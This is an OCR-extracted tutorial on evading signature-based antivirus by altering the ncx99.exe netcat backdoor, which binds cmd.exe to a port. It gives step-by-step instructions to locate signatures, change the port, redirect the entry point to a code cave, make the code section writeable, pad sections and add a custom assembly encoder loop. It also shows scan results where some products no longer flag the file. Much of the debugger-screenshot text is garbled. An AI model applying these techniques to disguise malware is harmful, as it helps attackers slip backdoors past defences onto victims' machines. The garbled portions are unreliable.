Bypassing Anti-
Virus Scanners

Abstract

Anti-Virus manufacturers nowadays implements more and
more complex functions and algorithms in order to detect
the latest and newest viruses along with their variants.
There is however simple methods that can be used to by-
pass most of these, especially those that doesn’t use
heuristics and similar techniques at all.
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Chapter 1

Introduction

Anti-Virus manufacturers has evolved a lot during the last decade, starting with simple signature-
based scanners and thereafter slowly implementing more and more advanced heuristics. Most of
these are able to scan files stored on the harddisk, but also opcodes in the memory.

Opcodes are in short, Assembly commands which are the lowest level of instructions given to the
CPU by any application running. A program is usually developed in a higher level language such
as C or C++, where opcodes are usually not directly involved. The compiler on the other hand,
translates the high-level code into these opcodes based on the Architecture used and so forth.

When a traditional Anti-Virus application scans a file, it does so by reading the offsets and its
assigned values. Where the offset is a memory address and the value is an opcode which the
scanner can read with a simple binary hex-viewer. Therefore, it is able to look for a signature.

If an application passes the file-scan check on the harddisk without any heuristic “sandboxes”
applied, then the file is either safe to run or the Anti-Virus application just got bypassed!

This paper will show some of the methods and techniques, one can use in order to do this.

This is for educational purposes only.
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Chapter 2

PE File Structure

A typical PE aka Portable Executable which is the default file format for Windows binaries looks
like the picture below. It should be mentioned that not all binaries has all these 5 sections. Some-
times it’s only 4 or perhaps 6-7 sections, depending on how the binary is built / made.

The signature which triggers the Anti-Virus application can be located anywhere, though usually
it is within one of the actual sections and not section table headers, DOS header, DOS stub etc.

Dos MZ Header

DOS Stub

PE File Header
PE Signatuwre

Section Table
Array of Image_Section_Headers

- . N\
Data Directories

Figure 2.1 — PE File Visualization
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2.1 — AV Signatures and the PE file format

Finding the signature that the Anti-Virus application looks for, isn’t that hard if an old technique
is used which is performed by splitting the file into several files and then scanning each file to
see which one of them contains the signature.

Sometimes the signature is pretty easy to find, e.g. in case ncx99.exe is used. This is a simple
netcat listener, which binds cmd.exe to port 99 on the global network interface. In the picture
below from offset E77E to offset E78F is the main signature located.
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Figure 2.1.1 — Hexadecimal View of a Binary File

Furthermore, the signature is located in the idata section in this case. This means that if we
would try to encode the entire idata section, then our executable file might not work at all!

Therefore we could try to edit a part of this, or encode only the signature to avoid AV detection.
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It is however also important to note, that Anti-Virus applications will read the PE headers too
and use these to determine whether the executable file we want to run, is malicious or not.

Sometimes, even the time and date stamp within the file is a part of the signature which is a good
idea to change or simply replace with null. If some of the section tables, headers or flags seem to
be invalid by the AV-scanner, then it might flag it as malicious or potentially malicious since it
assumes, that it must be due to it can’t read the executable file properly.

OllyDbg - ncx99.exe - [Dump - nck99:00400000..00400FFF]

Help =181 x|

@ File Wiew Debug Trace Options Windows

=101 x|

B x| w]+|n] w4 4

L|E[M|T|C|..| B|M|H]|

Address |Hex dump Decoded data Comments

BE4EEE S &5 OE &5 CHAR ‘e’

B4 EEE 4 ZE OE ZE CHAR *.*

|55 EE 5 e j5]u} OE @0 Carriage Return

R EEE G (5 ]1] OB @0 Carriage Return

BE4EEE T BH OE GA Line Feed

B4 EEE S 24 OE 24 CHAR "%°

B4 EEE 7S HE OE @&

B4 EEE A B OB HE

BE4EEEFE HE OE @&

B4 EEE T B OB BE

BE4EEEFD HE OE @&

BE4EEEFE HE OE @&

BE4EEEFF HiE OE @&

BE4EEESE 58 45 @l ASCII "PE",H.H@ IMAGE_MT_SIGHATUREC4] = "PE
BE4EEESS - 4CH1 Ol 14C Mach ine = IMAGE_FILE_MACHIME_IZ3Z&
SRR S B4E0 ou 4 Humber0f Sect ions = 4

BE4ERESS E93ERE3| OO 34HEZEEB? TimeDateStamp = 34RESEEBY
BE4EERESC HEEEEEE] OO BEEEEEEE FPointerToSymbolTable = @
BE4EEE9E HEEEEEaa] OO BEEEEEEE HumberOfSymbols = @

BEdEEES94 EBEE Ol BEE SizelfOptionalHeader = 224.
BE4EEESE (L HFE1 oW 18F Characteristics = EXECUTABLE_IMAGE!22BIT_MACHIMEIRELOCS S
BE4EREDS HEE1 oW 18E MagicHumber = TMAGE_MT_OFTIOMAL_HORZZ_MAGIC
BE4EREDH 51 OB &5 MajorLinkerllersion = 5§

DR EEEIE Qi OE @& MinorLinkerlersion = @
BE4EEEDC HE938688] OO BEEEI3688 SizelfCode = 38912,

BE4EEEAE HEs28688] OO BEEEEZ2EE SizelfInitializedData = 25838,
BE4EEEA4 HEEEEaaE] OO BEEEEEEE SizefUninitial izedData = @
BE4EEEAS HE4CEaaa] OO BEEE4CaE Address0fEntryFPoint = 4CBAE
B4 EEEAC HE1EEEEl OO BEEE 1BE8a BazeOf Code = 10@8

BE4EEEER HEEEEEE] OO BEEEEEEE EaselfData = BEBEE

BE4EEEES HEEE4a8] OO BE488888 ImageBaze = 488088

BE4EEEES HE188aal OO BEEE 18688 Sect ionAlignment = 1008

B4 EEEEC HEE28688] OO BEEEEZEE FileAlignment = 288

B4 EEECE B ow 4 MajorldSlersion = 4

BE4HRECE BaE0 ou & Minord5Slersion = @

B4 EREC S BEEE ow & MajorImagellersion = @
BE4ERECE BEE0 ou & MinorImagelersion = @
BE4ERECE B4EE ow 4 MajorSubsystemlersion = 4
BE4EERECH BaE0 ou & MinorSubsystemlersion = @
BE4EEECC HEEEEAE] OO BEEEEEEE Wing2Uersionlalue = @
BE4EEEOE HEZEE1E OO BEE] 3884 Sizelf Imags = 7rE24.

BE4EEEO4 HEE48a8] OO BEEEE486 SizelfHeaders = 1824,

=1

|Entr_l,l paint af main module

| | FPauzed

Figure 2.1.2 — Partial View of the PE Header in Ollydbg

2.2 — Modifying AV Signatures in PE Files

After a signature is perhaps found within one of the sections, then it is usually possible to change
either by editing it directly with a hex-editor or by changing the opcodes with a disassembler or
maybe, with something as simple as a debugger. (It is possible to do with Ollydbg.)
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In case ncx99.exe is used as previously mentioned, then it is possible to change both the listening
port and the program it will execute. Of course if we change it to e.g. calc.exe then it won’t do
much good for any hacker at all, but changing the listening port from 99 to e.g. 81 do make a
difference. It isn’t many AV’s that gets fooled by this, but it is a few.

Scanners
@ ArcaVlir  zo10-06-12 Trojan.Irchot.Wsas GDAFA :0iv-06-1s Backdoor.NCX_99
2010-06-18 Win32:Ncx AKARUS 2010-06-15 Backdoor.Win32.Ncx
‘ AVG 2010-06-18 BackDoor.Genericl2.BNOS "‘“&'ERSKYE 3?:-11.?5_:Dlin;;—?uril:g::;'nin.WinSZ.NetCat.a
(A AnWir  zo010-0s-18 Found nothing NOD32 :010-06-158 Win32/NCX.99
(& bitdefender  5010-06-13 Backdoor.NCX_99 PANDA. :z010-0s-12 Hacktool/NetCat.B
@y ClamAV  2010-06-18 PUA.NetTool.Netcat-7 Quick Heal 2010-06-12 Trojan.Agent.ATY
2010-06-18 Remote Admin.W32.NetCat SOPHOS :010-06-158 Troj/Bdoor-RQ
2010-06-18 Tool.Netcat B VBA32 :010-06-15 Backdoor.Win32.Ncx.b
2010-06-13 W32 fBackdoor.QCI firusBuster 2010-0s-18 Found nothing

- F-Secure 2010-06-18 not-a-
* virus:RemoteAdmin.Win32.NetCat.a

Figure 2.2.1 — ncx99.exe — Original (Binds cmd.exe to port 99)

Scanners
@ ArcaVlir  zo10-06-12 Trojan.Irchbot.Wsas GDATA :0i10-06-15 Backdoor.NCE_99
2010-06-18 Found nothing LAKARUS 2p10-06-12 Found nothing

I(ﬁp’E]tSKYE 2010-06-18 not-a-

AVG -06- i
‘ 20AEREEm18 BB B e L BT virus:RemoteAdmin.Win32.NetCat.a

. ANMViIr  2010-06-18 Found nothing NOD32 :0i0-05-15 IRC/SdBot.NP
(& bitdefender  5010-06-12 Backdoor.NCX_99 FPAMNDA. 2010-06-12 HacktoolfNetCat.B
@y ClamAY 2010-06-18 PUA.NetTool.Netcat-7 Quick Heal 2010-0e-18 Trojan.Agent.ATY

(&eP..r  2010-06-1% RemoteAdmin.W32.NetCat SOPHOS :zoi0-06-12 Troi/Bdoor-RO

WEB*® :010-06-15 Tool.Netcat BVBA32 :010-06-15 Backdoor.Win32.Ncx.b

@FPROT  z010-06-18 W32/Backdoor.QCI firusBusier 2010-06-18 Found nothing

- F-Secure 2010-056-18 not-a-
* virus:RemoteAdmin.Win32.NetCat.a

Figure 2.2.2 — ncx99.exe — Modified (Binds cmd.exe to port 81)

As you can see, Avast and Ikarus were bypassed. If we were to attack a computer which used
one of these, then we would’ve succeeded now just by changing the listening port.
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2.3 — Polymorphic Techniques and Hijacks

Polymorphic Techniques

Some polymorphic viruses, has the same functionality but different opcodes. This is yet another
technique used by more skilled hackers. An example of this could be that instead of PUSH -1,
the hacker could use DEC ESI, PUSH ESI, INC ESI if the ESI register is 0 to start with. If it isn’t
then we might have to save the value of ESI, by pushing it onto the stack, XOR’ing it so it
becomes null (XOR ESI, ESI) and then use it to push the value -1 to the stack.

Afterwards we would of course have to restore the original value of ESI, by POP’ing the stack.

That is however just an example, since most AV scanners shouldn’t detect PUSH -1 alone as
anything malicious. But in case we encounter a signature, which is executable code and we can’t
change it to NOP’s, then we would have to use encoding methods or “polymorphic methods”.

Hijacks

In case we want to encode it, we have to hijack the entry point of the binary file either by editing
the PE headers or perhaps by overwriting the first instruction to a jump, which then points to a
“code cave” which is an unused section of data, where a hacker can enter his own code without
altering the size of the target file.

It should be noted though, that some AV’s actually checks the file-size too.

The hacker can of course, overwrite instructions further inside the binary too if he or she desires
to do so. As long as the original program still contains the same functionality, in order to execute
without crashing or causing similar errors, then it doesn’t matter where any edits are made.
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Chapter 3

Encoding Binary Files

Hijacking the Entry Point is often used, but it does not really bypass Anti-Virus applications.
Instead it makes a hacker able to re-route the execution flow to whatever he or she desires. In
this case it could be a “black hole” to trick heuristic detection systems, or perhaps an encoder

which bypasses the signature-based Anti-Virus scanner in use!

Below are two figures of how a normal PE file and an encoded PE file could look like.

Before Alteration After Alteration

Entry Point  — Altered Entry Point , IE—

A
Encoded .text
(data section)

Ncx99.exe Ncx99.exe

4
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3.1 — Preparing the PE file for Encoding

First we open our chosen PE file in our favorite disassembler and debugger. In this case we will
use Ollydbg to alter the previously mentioned ncx99.exe backdoor. Keep in mind that you don’t
have to be an Assembly programmer in order to do nor understand this.

OllyDbg - ncx99.exe - [CPU - main thread, module ncx99] - | Ellﬂ
@ File ‘Wiew Debug Trace Options ‘Windows Help _|5’|5|
B4 x| w10 wil¥E ¥4 WU| L|E[M[T][c]..] B|M|H]|

RET a |Registers (FPLU) -
ERy  DOPEEEEE —
ECH BE1ZFFED
EE§ ;Eﬁgggég ntdll.KiFastSystemtCa
HE4E4CEE ESF BE1Z2FFC4
EEF BE12FFF@
ESI YFFOSEEH
EDI 7FCS12C92 ntdll.FO913098
EIF 8@484CER noq39, <Modu leEntruFo

Stack [BE1ZFFCOI=0E12FFF2
EEF=B812FFF@a

ncH 99, <Modu leEntryPoint >

CHLL DWORD FTR DS:[<&KERHEL32.EEtUEr51cv

ES @@23
CS Balk
S5 oBEz23
05 BEz3
FS B@3B
G5 BEEa

LastErr
HHEEEZ 46

empty +UNORM 0BEZ G8AE0G3T 06
empty B, BEBEEEEGE T2 TS 2427 20e—
empty +UMORM G045 BZE28G5E B0
empty +UMORM GEAZ BEAREGEEE GEF

22bit BIFFFFFFFF)

22bit BIFFFFFFFF)

22bit BIFFFFFFFF) b
32bit BIFFFFFFFF)

22bit FFFOFEQE(FFF)
MULL

BEEEEECE ERROF_EHLILIA
(MO.ME.E.BE, M5, PE, GE

Address |Hew dump CrCelrary wpid | [RETURH to kerne 52, 708178 4
il e EE B T oo r oo s o —d GelzFFCE| rooi3C98[ e | RETURN from ntdl L. PUSEFET——
GA1ZFFCC| FFFOSE@E| .F=a
BE4GCE1G| G0 OF G 00|08 GO GG G0|FO 41 48 08 7O :
BE4GCEZE| GR OO G GO 0 GO GO 00|06 0O 0o oa oo @ | D91ZFFOE) FPFOSE08) . CEe
GE1ZFF04| 26544C70( LT RETURM from SBS541E3C to 8
BE4ECESE| 57 61 62 74|45 &F 72 40|75 &C T4 &7 7O & ¥
BO1ZFFOS| BE1zZFFCE| & ¢,
BO4ECE4E| 62 6A 65 63|74 72 20 £E|v2 72 6F 72| 3R 2 .
GE1ZFFOC| S4EEEBZER| «|=4
BE4ECESE| B3 BB G5 09|45 61 57 60|65 64 2B 74 GF 2 .
GA1ZFFEA| FFFFFFFF End of SEH chain
BO4ECEEE| 65 61 74 65|20 52 65 &£1|64 52 63 6560 & iz
BE1ZFFE4| FCE29ORZ|&65!|SE handler
BO480H7A| 65 73 r3 63| 6F EE 28 04|63 r2 65 6leq 2 | PALSFREA) FLESEAAE) S03!
BO46CH30| 72 72 6F 72|28 30 20 25|73 BB 06 0o 45 & | DAIZFFES) rES17ESD el
BE4ACASE 65 64 20 74| &F 20 65 75/ €5 63 75 74/ 65 2 | DOLEFFEC) Baanaoed) ...
i eSSk ey s
BE4GCACA| 20 76 €9 7 65 2C 20 65|72 7o eF ;2 2a g | SA1SFFRE) Bodadiad) . LE. oSS, <HoduleEntryPoint >
BE4GCE0G| 73 BB @6 G| 45 51 67 60|65 64 2B 74 6F 2 e =
BE4GCEER| 65 61 74 65|20 T2 65 65|60 GC 2B TI 74 6w =
AAAACAEAL P4 26 FE o eol FE o o @l fC Fo Ao f P Ao o
Entry point of main module | |F'auseu:|

Figure 3.1.1 — Initial Overview of ncx99.exe

First we select the first couple of instructions (opcodes) and copy them to notepad or whatever
program we prefer for taking notes. The reason why we’re doing this is because we need to re-
introduce some of the first overwritten opcodes later on, before we re-route the execution flow

back to its original place.
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We now have the following opcodes saved which we will need later on:

Address

00404c00
00404c01
00404c03
0040405
00404C0A
00404COF
00404cC15

dump
55
8BEC

Hex

6A FF

I

I

|. 68 00804000
|. 68 78764000
I. 64:A1 0000000

50

Command

PUSH EBP

MOV EBP,ESP

PUSH -1

PUSH OFFSET 0040B000
PUSH 00407678

MOV EAX,DWORD PTR FS:[0]
PUSH EAX

Figure 3.1.2 — First couple of opcodes inside ncx99.exe

Then we browse through the binary, for a convenient place to implement our custom encoder.
After searching for a while inside the .text data section, we may find the following place.

OllyDbg - ncx99.exe - [CPU - main thread, module ncx99]

@ File Wiew Debug Trace Options ‘Windows Help

=10l x|
=181

B x| w|+ 1] b3 L HU| L E[M[T|c|.| B|M| H]|

Registers [FFLUI -
E0y DOERGEEG =
ECH DE1ZFFER
ED: YC9BEEL14 ntdll.KiFastSystenCa
FER EEX vFFOSEEE
ESF @@12FFC4
EEF BG1ZFFF@
ESI FFFOSEEGE
E0I FCO1EC92 netdll.FColacos
EIF B@484CEE noA29. <Modu leEntryPo
C B ES @E23 S2bit ©(FFFFFFFF)
F 1 G5 GEIE 22bit OfFFFFFFFF)
A6 55 6E23 32hbit O(FFFFFFFF] =
Z 1 D% BE22 2Phit OLFFFFFFFF)
5 @ F5 GE3E 22hit FFFOFGEEFFF)
T g G5 ae08 fLL
=0 8 LastErr @REEEECE ERROR_EMULA
EFL B@@REZ46 (MO.ME,E,EBE,MS,PE, GE
SN eTe empty +UNORM GEG2 GEOBEEIT 6
5T1 empty O, OBEEERERTSEFSo407 20—
5TZ empty +UMORM D845 O2ES0G6E G0
T ] 573 empty +UNORN QA3 GEGGAGH6 6T
Addrezs |Hex dump CYCE17EryY wp'u'i EETURH to kernel32.7CE1FE o
ShaooooolBS BS B oo B o oE Boon o oo o oo o— BElZFFLE| rLo9i3C98|dte! | RETURN from ntdl L. rC9EFET——
GE12FFCC| FFFOGEEG| | P=a
PE4ACA10| @R BB B0 00|60 G0 B8 BO|FO 41 48 GO 7O :
BE4ECEZE| BE OO BB G660 B8 6B DB| 00 BB 6o o oo o | 291SFFDE) CRROSOOR) .0
GE1ZFF04| 26544C70( LT RETURM from SBS541E3C to 8
BO4ECESA| 57 61 62 74|46 &F 72 40| 7S BC 74 63|70 & ¥
BE1ZFFD2| BO1ZFFCE| & 4.
BO4BCE40| 62 60 65 63|74 T3 20 65| FE FZ 6F F2|ZA 2 :
GE12FFOC| S4EEBZER|«| =&
PO4ECESA| AR B GO BO| 45 &1 62 60|65 64 20 74|EF 2 .
GE812FFES| FFFFFFFF End of SEH chain
BR4ECEED| 65 61 74 65|20 G2 EE 61|64 52 60 &E[&C & o
GE1ZFFE4| 7CS29AAS| 465! |SE handler
BO4BCATEI 65 73 r3 63 EF BE 28 74/ 65 rz £5 &1/64 2 | JEIZFEER) TLASIANE) LU5
BE4BCAZA| 72 72 6F 72 2@ 30 2@ 25|73 64 6@ 08|46 & | PE1SEEES) CLE17EER) bRl
BE4GCAIA| 65 4 20 74 6F 20 €5 73|65 63 75 o4/ eg 2 | DELZFFER) DOOGEEGE ...
BO4OCERE| 65 6C EC 88| 46 61 63 6065 64 20 74 6F 2 | AR1SFERR) BEaRanEn) ...
BO4BCEEA| 65 61 74 65|20 73 62 65|60 BC 20 FI[T4 6 e .
BO4ECECA| 28 7E 62 70|65 2C 20 65| 7E TE BF 2|20 I SSiEEEEE Sggggggg «LB. | non?P. <Modu LeEntryFoint >
PO4BCEDG| 72 BR BE 00|46 &1 £9 EC|6E 64 20 74|EF 2 s —
BO4ECEEA| 65 61 74 65|20 73 62 B5|6C BC 20 TI[T4 6w =
AEAAACEER]L P4 26 FE o eol FE e C o 2@l e P Fo P T

Entry point of main module

| | Pauzed

Figure 3.1.3 — A convenient place for a “code cave” in ncx99.exe
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After we’ve noted down the new Entry Point address at 0040A770, we browse to the memory
overview by clicking the “M” icon. Then we double-click on the PE Header section and open it.

Simply, because we need to prepare the .text data section by making it writeable and of course,
change the old Entry Point to our new one, which points to our “code cave”. Adding a few bytes
extra to the last section doesn’t hurt either, as this may bypass some AV-scanners.

OllyDbg - ncx99.exe - [Dump - nck99:00400000..00400FFF] - | I:Ilﬂ
@ File Miew Debug Trace oOptions ‘Windows Help _|5’|5|
Igﬂﬁ P n) wijad 4 HU] L E[M[T]C|...| B|M|H]

Address | Hex dump Decoded data Comments _:J
[EEETEERETS HEEREEE] OO BEEEEEEE Load Config Table size = @

BE4EE1SE BEEDEEaEa] D0 Ba8aEaa8a Bound Import Table address = @
BEdiEE]1Sq DEEEEEE DD BEEEEEEE Bound Import Table size = @

BE4EE1ES ABZ1816 D0 @aailz21fa Import Address Table addreai = 1z1R@
BE4EE1EC c4@18668 00 Ba80El a4 Import Address Table size = 3B6. __J
HE4EE1 68 HEEEEaEaE] OO BEEEEEE8E Oelay Import Descriptor addreai = @
BE4EE] & BEEDEEaEa] D0 Ba8aEaa8a Oelay Import Descriptor size = @
HEdER] &S HEEEEEE D0 BEEEEEEE COM+ Runtime Header address = @
BE4EELEC BEEDEEaEa] D0 Ba8aEaa8a Import Address Table szize = @
BE4EElFall - DEEaEEaal] 00O BEEEEEEE Reserved = DEEEGEEGA

AE4EEl 74|k DEEEEEE| O0O BEEEE88E Reserved = DE8EGEEGA

AE4EElFE(r-  2E ¥4 &Y ASCII ".tewut™,H8,8,8 Mams[2] = ".tent -

BE4EE1igE(] - YESFEEE] DD BEEESF7E UirtualSize = 2BPEE.

BEdEE1 54 HE188aal OO BEEE 18688 UirtualAddress = 1888

BEdEE]1 33 BE93EEE] 00 BEEE3E8E SizeOfRawbata = 3891z,

BE4EE1 S0 HEE486a8] OO BEEEE488 FointerToRawhata = 460

BHE4EE ] SE BEEnEaEa] D0 Ba8aEaa8a FointerToRe locat ions = @

BEdEE194 HEEEEaEaal OO BEEEaa8E FointerToLineNumbers = @

BE4EE1 DS BaE0 ou & HumberOfRe locat ions = @

HE4EETSA(] - BEEE oW @ HumberDFLLneHumbers = H

padEalacibe ZEEEEES D0 SEEEEEZE Characteri=tice = CODE!EXECUTE!READ
HEdEEiAE|(F-  2E F2 & HSCII ".rdata™,d,d8 Mame[2] = ".rdata ™

padaains| | - 17e40eEl D0 GEEEE417 UirtualSize = 1847,

BE4EE1AC HEEEEAAl D0 BEEEEAEE UirtualAddress = BEOGEE

HE4EE1BE HEEEEaEaE] OO BEEEE&E8E SizeldfRawbhata = 1536,

BE4EE1 B4 HE9CEAE] OO BEEEICaE FointerToRawhata = 9CHE

HEdEE1ES HEEEEEE D0 BEEEEEEE FointerToRelocat ions = B

BE4EE1BC HEEEEaEaal OO BEEEaa8E FointerToLineNumbers = @

BEdEE1cE BEEE ow & MumberQf Be locat ions = B

BE4EEICE || - BEEE ou & HumberOfL ineMumbers = @

AEdEEicd |l 48888684 OO 488868846 Characteristics = IMITIALIZED_DATAIREAD
HE4EEice|{r-  2E &4 &|ASCII ".data™,d,8,8 Mam=[2]1 = ".data r

eadeaing|| «  4452606( 00 EEGES244 UirtualSize = 21868,

BEdiEE 1O HECHEEE] OO BEEECEEE UirtualAddress = BCHEA

BE4EE103 HE3EEAE] OO BEEE3EAA SizelfRawbata = 1B872.

BE4EE10C HEAZ2E68] OO BEEEAZEE FointerToRawlata = BAZEE

BE4EE1ER BEEDEEaEa] D0 Ba8aEaa8a FointerToRe locat ions = @

HE4EE1E4 HEEEEaEaal OO BEEEaa8E FointerToLineNumbers = @

HE4EE1ES HEEE ow @ Mumber0f Re locat ions = B

BE4EEIEA| ] - BE0E ou & HumberOfL ineHumbers =

BE4EEIEC | k- 4EEEBEC] ODO CHEEEE4E Eharacterlstlcs = IHITIHLIZED OATHIRERDIWRITE .:J
HE4EElFE[F-  2E &9 & ASCII ™. idata™,d,8 Mam=[2] = ".idata "

|Er'|tr_l,l paint af main module

| | FPauzed

Figure 3.1.4 — PE Header Overview of ncx99.exe

This is the value we need to edit in order to be able to make the .text section writeable. We could
use LordPE for this, but knowing the common values by mind, makes us able to do this without.

We will therefore change 60000020 to E0000020 as shown in the next picture, making the .text
section writeable, allowing us to encode this while the PE file is executing. If we didn’t do this
we would get a “permission error” and most likely crash.
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Adding a few bytes to one of the sections is a good idea too, if you don’t need to be very strict on
keeping exactly the same file-size. This is done by taking the hexadecimal value of e.g. the .idata
section and then add the number of bytes wanted in hex.

If you’re going to do this, then make sure you’re calculating in hex and not decimal.

OllyDbg - ncx99.exe - [Dump - ncx99:00400000..00400FFF] - | I:Ilﬂ

@ File Miew Debug Trace Options Windows

Help =& %

B e x| »|+| 0] w34 4 U]

L|E[M[T|c]..] B|M|H]|

Address | Hex dump Decoded data Comrments _:J
AE4EE19C| L ZARBRGEI D0 EREREEZA Characteristics = EDDE EXECUTE iREADIWRITE
GEdEEine| e 2E ¥2 & ASCII ".rdata™,.d,8 Mame[8]1 = ".rdata

pad@aipz|] - 174868 00O BEEEE417 UirtualSize = 1847,

GEdEEiac|] - DEEEEE& 00O BEEEEEEE UirtyalAddress = BBEAA

padEaiEal]l - DEEsEEE 00O BEEEE&EE Sizel0fRawData = 1536, -_J
pEdEEiBd|] - DE9CEEE DD BEEEICEE FointerToRawhata = SCHE

BE4EE1IES | - BOEEE0E DD BE0EEEHE FointerToRe locat ions = @

pEdpEiBc|] - DEEEEEE OO GEEEEEEE FointerToLineMHumbers = B

FEAEE1ICE | - BEEE ou & HumberOfRe locat ions = B

FE4EE1CE ] - BEEE ou & HumberOfL ineMumbers =

padaaicd |l 48888684 00O 488868846 Characteristics = IHITIHLIZED OATAREAD
GEd@@ics| - 2E 64 &|ASCII ".data™,d,8,8 Mam=[2] = ".data

pedEainEl] - 445286881 00O BOEEESZ244 UirtualSize = 21868,

GEd@@ing|l - DECEEEE D0 BEEECaEaE UirtyalAddress = BCEAA

padEainz|] - DE3EBEE D0 BEEE3ESA SizelfRawData = 15872,

pEd@@inc|) - DEAZE68 D0 BEEEAZEE FointerToRawlata = DAZEE

BE4EE1IED | = HOEEE0E DD BE0EEEHE FointerToRe locat ions = @

HEdEEiEd|] - DEEEEEE OO HBEEEEEEE PointerTolLineNumbers = B

FE4AEEIES | - BEEE ou & HumberOfRe locat ions = B

dEdEElEAl] - DEEE ow & HumberDFLLnEHumbers = B

pEdE@lEC| ke 488EEECI O0O CHaEaEa4E Characteristics = IMITIALIZED_DATAIREADIWRITE
GEdEEiFa| e 2E 69 & ASCII ™. idata™,d8,8 MHame[8]1 = ".Ldata o

pad@aiFs|] - ACEFEEE D0 BEEEE7AC WirtualSize = 1964.

GEdE@liFCc|l - DEz2eal@ 00O @88l 26888 UirtualAddress = 12608

pEd@EzaE|l - SEEgEEaal 00 BEEEEEEA SizelfRawbData = 2128.

pEd@Ezad|l - DEEEBEE D0 BEEEEASE FointerToRawlata = DEDEE

prdpEzas|] - DEEEEEE 0D GEEEEEEE FointerToRelocations = B

pEdEEzac|l - DEEEEaa OO0 BEEEEE8E FointerToLineNumbers = @

FE4EEZ1E| | - BEEE ou &= HumberOfRe locat ions = @

AE4EE21 2] - DEEE oW & HumberdfLineNumbers = @

AE4EE214|k-  488EE8EC] OO CAaEAEa4E Characteristics = IMITIALIZED_DATAIREADIWRITE
HEdEE21 3 HiE OE @&

BE4EE219 HE OE @&

BE4EE21A HE OE @&

BE4EE21 B HE OE @&

BE4EE21C HE OE @&

HE4EE210 B OB HE

BE4EE21E HE OE @&

BEdEE21F B OB BE

HE4EE228 HE OE @&

BE4EE22 1 HE OE @&

HE4EE222 HiE OE B&

=

|Entr_l,l paint af main module

| | FPauzed

Figure 3.1.5 — Altered PE Header in ncx99.exe

After we’ve made our modifications, we select the entire section which contains our changes,
right click and browse to “Edit”, and then “Copy to Executable”. Then right click on the new
window and choose “Save File”.

Keep in mind that this is a bit different in the older version of Ollydbg.
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Because we’ve added a few bytes to the .idata section, the program won’t execute. Therefore we
need to add the amount of bytes we “added”, by using a hex-editor to add the actual amount of
bytes that was added to the .idata section.

C:hDocuments and Settings®,

Figure 3.1.6 — Altered ncx99.exe unable to execute

In this case XV132 (a hex-editor) is sufficient to use. Simply browse to the end of the PE file,
open the “Edit” menu and choose “Insert string”. Then make sure you either add 00, 90 or CC.

Preferably just add 00 as this will do nothing at all. Under “Insert <n> times” you choose hexa-
decimal and choose the amount of bytes you added to the .idata section. When you’re done click
the “save” icon and your executable PE file, should be working again.

3.2 — Implementing the Custom Encoder

With all the preparations made, we’re ready to implement the encoder. First we open our
modified PE file in Ollydbg and see that we’ve landed at 0040A770. After taking a closer look
on where the base (beginning) address is and where our code cave begins, we note down that
from offset 00401000 to 0040A76F, is what we’ll encode.

There are many ways to implement an encoder, but the easiest way is the one Mati Aharoni from
Offensive Security did in his public video presentation about AV’s. The encoder we’re going to
implement is slightly different in order to hopefully confuse a few more Anti-Virus scanners.

We’ll basically encode almost the entire .text section, with an encoder which loops through each
byte of the selected code that we want to encode. The encoding mechanism itself will just change
the byte to whatever we tell it to become.
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Address

0040A770
0040A775
0040A778
0040A77B
0040A77E
0040A77F
0040A784

Hex dump
B8 00104000

8000 13
8030 OF
8000 37
40

3D 6FA74000

.A 7E EF

Command
MOV EAX, 00401000
ADD BYTE PTR DS:[EAX],13

XOR
ADD
INC
CMP
JLE

BYTE PTR DS:[EAX],OF
BYTE PTR DS: [EAX],37
EAX

EAX, 0040A76F

SHORT 0040A775

Figure 3.2.1 — Custom Assembly Encoder

Explanation of the Custom Encoder

1)
2)
3)
4)
5)
6)
7)

OllyDbg - ncx99-002.exe - [CPU - main thread, module ncx99-002]
@ File View Debug Trace Options Windows Help

First the base (beginning) address is moved into the EAX register.
Then it adds 13 to the byte which EAX is pointing to.

XOR (Exclusive OR) the byte with OF which EAX is pointing to.
Add 37 to the byte which EAX is pointing to.

Increase EAX to point to the next byte.

Compare EAX with our ending address.

If our ending address hasn’t been reached, jump to (2).

=13l x|
== x|

Bledx] »]=[1] “q+138 U] n]Em]x]cl] Blu]a] :

Begisters [(FPU) -
B0 BODEEEEE —
ECH B@E1ZFFE@
EDX PC9BEEL4 ntdll.KiFastSwstenCa
B EBX FFFOFGEE
ESF B@1ZFFC4
EEF B@1ZFFFA
ES1 FFFOSGEE
EDI 7CO12CO92 ntdll. 70913098
T EIF BE4BATTE now39-082, <Modu LeEnt:
C @ ES 8623 22bit @(FFFFFFFE)
F1 G5 @6LE 22bit @(FFFFFFFE)
A @ S5 BE22 Z2bit GIFFFFFFFF] ==
7 1 05 BAZ3 3zbit @iFFFFFFFF]
JLE SHORT BEABETT T8 EE BLGE Gfbiv TRROEEEELERE)
]
M0 5 LastErr @BAEEECE ERROR_EHULA
T ==l EFL GamaE246 (NO,NE, E, BE, NS, PE, GE
Edoto empty +UNORM DE02 G0GRGGIE OF
ST1 empty -UMORM 9623 GUOQEEEE 7F
STZ empty +UMORM G045 GIOSEETE OE
=l =13 empty +UNORM DEA3 OOORGROD 6w
Address |Hex dump — FLCELVEFTY t_.gpui EETURH to kernel32.7C217PE o
DO40C000 [ 0F DO G0 00 00 08 00 00 00 00 00 00 on d—f Dolorrie| rCalscos! Giad|RETURN from ntdll. PC98FE7-
@E1ZFFCC| FFFOSEEE| . P=a
GO4BECE10| 68 06 GO 06| G0 BG G0 A6 FO 41 40 69 76 2
GO4ECEZ6| G0 BE GO 06| G0 06 G0 G600 08 00 6D o g | 991SFFDAl FRFOFG@GA) =28
GE1ZFFO4| 26544070 ILTG|RETURM from S8E41E3C to 2
BE4BCESD( 57 61 63 74|46 6F 72 40|75 6C 74 £9(7@ & | PRIZFFD4) SBe4dtiD) oLl
BE4ACH4N| 62 BA 5 63|74 7S 20 65|72 72 6F 72| 3A 2 | BRLSERDE) BRLZFRES) S ¥
GE4ACECA| OF OO GO B0 45 61 53 &C| 65 &4 20 r4|&F 2 ITna )
@Ea12FFER| FEFEFFEF End of SEH chain
GO4BCEEE| 65 61 74 6528 55 55 61|64 53 62 65|&C & e
GE12FFE4| FLS99AAS| &05!|SE handler
0400878 65 73 73 63| 6F GE 20 74 62 c2 65 ol(gd 2 | BIEERES) TLETORAG| AUAL
BE4BCESD| 72 72 6F 72|20 30 20 25|73 0O 00 06| 4c | BRLSFFER) cLEL7ESD) CRi
BE4ACE30| 65 &4 28 74| 6F 20 65 7365 63 75 74|65 2 | pRlSEREC) HEmEEEaEd .-
mESsnonRdnioaSaa (oo a
